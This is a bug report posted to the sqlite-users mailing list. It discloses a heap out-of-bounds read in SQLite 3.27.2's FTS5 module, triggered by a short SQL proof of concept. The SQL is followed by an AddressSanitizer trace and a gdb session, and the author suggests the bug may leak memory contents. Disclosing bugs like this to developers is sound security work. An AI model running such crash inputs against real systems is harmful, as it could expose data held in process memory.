The code:

```
CREATE VIRTUAL TABLE t1 USING fts5(content);

BEGIN;
                INSERT INTO t1 (content) VALUES('AAAA');
                SELECT * FROM 
t1('BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB*');
END;
```

As you can see, it creates a virtual table with fts5, and run a transaction on 
it, this will leads to a OOB READ. The ASAN report:

```
➜  sqlite-crashes ../sqlite-autoconf-3270200/sqlite3 < 2-oob-read.sql
=================================================================
==21007==ERROR: AddressSanitizer: heap-buffer-overflow on address 
0x60d000002898 at pc 0x7f0cad16e6a3 bp 0x7ffdc88ddc80 sp 0x7ffdc88dd430
READ of size 81 at 0x60d000002898 thread T0
    #0 0x7f0cad16e6a2  (/lib/x86_64-linux-gnu/libasan.so.5+0xb86a2)
    #1 0x563324ca4013 in fts5HashEntrySort 
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:207762
    #2 0x563324e685f9 in sqlite3Fts5HashScanInit 
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:207820
    #3 0x563324e685f9 in fts5SegIterHashInit 
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:210321
    #4 0x563324e685f9 in fts5MultiIterNew 
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:211270
    #5 0x563324e6b380 in fts5SetupPrefixIter 
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:212946
    #6 0x563324e6b380 in sqlite3Fts5IndexQuery 
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:213275
    #7 0x563324eae566 in fts5ExprNearInitAll 
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:205261
    #8 0x563324eae566 in fts5ExprNodeFirst 
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:205778
    #9 0x563324eaed3d in sqlite3Fts5ExprFirst 
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:205836
    #10 0x563324eaef0d in fts5CursorFirst 
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:215371
    #11 0x563324eb0c9d in fts5FilterMethod 
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:215653
    #12 0x563324dcd73a in sqlite3VdbeExec 
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:90333
    #13 0x563324de9439 in sqlite3Step 
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:81716
    #14 0x563324de9439 in sqlite3_step 
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:81781
    #15 0x563324c1d662 in exec_prepared_stmt 
/root/Documents/sqlite-autoconf-3270200/shell.c:10445
    #16 0x563324c1d662 in shell_exec 
/root/Documents/sqlite-autoconf-3270200/shell.c:10752
    #17 0x563324c1fdf3 in runOneSqlLine 
/root/Documents/sqlite-autoconf-3270200/shell.c:16106
    #18 0x563324c2f466 in process_input 
/root/Documents/sqlite-autoconf-3270200/shell.c:16206
    #19 0x563324bfac98 in main 
/root/Documents/sqlite-autoconf-3270200/shell.c:16967
    #20 0x7f0cacd7009a in __libc_start_main ../csu/libc-start.c:308
    #21 0x563324bfc599 in _start 
(/root/Documents/sqlite-autoconf-3270200/sqlite3+0x46599)

0x60d000002898 is located 0 bytes to the right of 136-byte region 
[0x60d000002810,0x60d000002898)
allocated by thread T0 here:
    #0 0x7f0cad19f350 in __interceptor_malloc 
(/lib/x86_64-linux-gnu/libasan.so.5+0xe9350)
    #1 0x563324cdccf3 in sqlite3MemMalloc 
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:22837

SUMMARY: AddressSanitizer: heap-buffer-overflow 
(/lib/x86_64-linux-gnu/libasan.so.5+0xb86a2) 
Shadow bytes around the buggy address:
  0x0c1a7fff84c0: fd fd fd fd fd fd fa fa fa fa fa fa fa fa fd fd
  0x0c1a7fff84d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c1a7fff84e0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x0c1a7fff84f0: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
  0x0c1a7fff8500: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c1a7fff8510: 00 00 00[fa]fa fa fa fa fa fa fa fa fd fd fd fd
  0x0c1a7fff8520: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa
  0x0c1a7fff8530: fa fa fa fa fa fa 00 00 00 00 00 00 00 00 00 00
  0x0c1a7fff8540: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa
  0x0c1a7fff8550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c1a7fff8560: 00 fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==21007==ABORTING
```

View detail in gdb:

```
(gdb) r < 2-oob-read.sql 
Starting program: /root/Documents/sqlite-autoconf-3270200/sqlite3 < 
2-oob-read.sql
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x000055555564200f in fts5HashEntrySort (pHash=0x604000002018, 
    pTerm=pTerm@entry=0x60d000002a88 "0", 'b' <repeats 80 times>, '\276' 
<repeats 47 times>, nTerm=nTerm@entry=81, ppSorted=0x604000002030)
    at sqlite3.c:207762
207762        if( pTerm==0 || 0==memcmp(fts5EntryKey(pIter), pTerm, nTerm) ){
(gdb) i r rdi
rdi            0x60d000002848      106446469474376
(gdb) i r rsi
rsi            0x60d000002a88      106446469474952
(gdb) i r rdx
rdx            0x51                81
(gdb) x/10xg $rdi
0x60d000002848: 0xbe01006161616130      0xbebebebebebebe02
0x60d000002858: 0xbebebebebebebebe      0xbebebebebebebebe
0x60d000002868: 0xbebebebebebebebe      0xbebebebebebebebe
0x60d000002878: 0xbebebebebebebebe      0xbebebebebebebebe
0x60d000002888: 0xbebebebebebebebe      0xbebebebebebebebe
(gdb) bt
#0  0x000055555564200f in fts5HashEntrySort (pHash=0x604000002018, 
pTerm=pTerm@entry=0x60d000002a88 "0", 'b' <repeats 80 times>, '\276' <repeats 
47 times>, 
    nTerm=nTerm@entry=81, ppSorted=0x604000002030) at sqlite3.c:207762
#1  0x00005555558065fa in sqlite3Fts5HashScanInit (nTerm=81, 
pTerm=0x60d000002a88 "0", 'b' <repeats 80 times>, '\276' <repeats 47 times>, 
p=<optimized out>)
    at sqlite3.c:210321
#2  fts5SegIterHashInit (pIter=0x6130000007a8, flags=56, nTerm=81, 
pTerm=0x60d000002a88 "0", 'b' <repeats 80 times>, '\276' <repeats 47 times>, 
    p=0x60d000000ad8) at sqlite3.c:13713
#3  fts5MultiIterNew (p=p@entry=0x60d000000ad8, 
pStruct=pStruct@entry=0x603000001b78, flags=flags@entry=56, 
pColset=pColset@entry=0x0, 
    pTerm=pTerm@entry=0x60d000002a88 "0", 'b' <repeats 80 times>, '\276' 
<repeats 47 times>, nTerm=nTerm@entry=81, iLevel=<optimized out>, 
    nSegment=<optimized out>, ppOut=<optimized out>) at sqlite3.c:14662
#4  0x0000555555809381 in fts5SetupPrefixIter (ppIter=0x7fffffffb440, 
pColset=0x0, nToken=81, pToken=<optimized out>, bDesc=0, p=0x60d000000ad8)
    at sqlite3.c:212946
#5  sqlite3Fts5IndexQuery (p=0x60d000000ad8, pToken=pToken@entry=0x6080000031a8 
'b' <repeats 80 times>, nToken=80, flags=flags@entry=1, 
    pColset=pColset@entry=0x0, ppIter=ppIter@entry=0x6130000005b8) at 
sqlite3.c:16667
#6  0x000055555584c567 in fts5ExprNearInitAll (pExpr=0x6040000020d8, 
pExpr=0x6040000020d8, pNode=0x606000001a68, pNode=0x606000001a68) at 
sqlite3.c:205261
#7  fts5ExprNodeFirst (pExpr=pExpr@entry=0x6040000020d8, 
pNode=pNode@entry=0x606000001a68) at sqlite3.c:9170
#8  0x000055555584cd3e in sqlite3Fts5ExprFirst (p=p@entry=0x6040000020d8, 
pIdx=<optimized out>, iFirst=-9223372036854775808, bDesc=bDesc@entry=0)
    at sqlite3.c:205836
#9  0x000055555584cf0e in fts5CursorFirst (pCsr=pCsr@entry=0x611000000408, 
bDesc=bDesc@entry=0, pTab=<optimized out>) at sqlite3.c:215371
#10 0x000055555584ec9e in fts5FilterMethod (pCursor=0x611000000408, 
idxNum=<optimized out>, zUnused=<optimized out>, nVal=<optimized out>, 
    apVal=<optimized out>) at sqlite3.c:215632
#11 0x000055555576b73b in sqlite3VdbeExec (p=<optimized out>) at sqlite3.c:90333
#12 0x000055555578743a in sqlite3Step (p=0x63400000daf8) at sqlite3.c:81716
#13 sqlite3_step (pStmt=0x63400000daf8) at sqlite3.c:16245
#14 0x00005555555bb663 in exec_prepared_stmt (pStmt=<optimized out>, 
pArg=0x7fffffffd240) at shell.c:10752
#15 shell_exec (pArg=0x7fffffffd240, zSql=0x60d000000040 "SELECT * FROM t1('", 
'B' <repeats 80 times>, "*');", pzErrMsg=<optimized out>) at shell.c:10752
#16 0x00005555555bddf4 in runOneSqlLine (p=0x7fffffffd240, zSql=0x60d000000040 
"SELECT * FROM t1('", 'B' <repeats 80 times>, "*');", in=<optimized out>, 
    startline=<optimized out>) at shell.c:16106
#17 0x00005555555cd467 in process_input (p=0x7fffffffd240) at shell.c:16206
#18 0x0000555555598c99 in main (argc=1, argv=<optimized out>) at shell.c:16967
```

As you can see, arg 2 and arg 3 for `memcmp` can be controlled by user, and it 
will read arbitrary length data on arg 1(which length is 5 in this case),  this 
may leads to an information leak.



_______________________________________________
sqlite-users mailing list
sqlite-users@mailinglists.sqlite.org
http://mailinglists.sqlite.org/cgi-bin/mailman/listinfo/sqlite-users

Reply via email to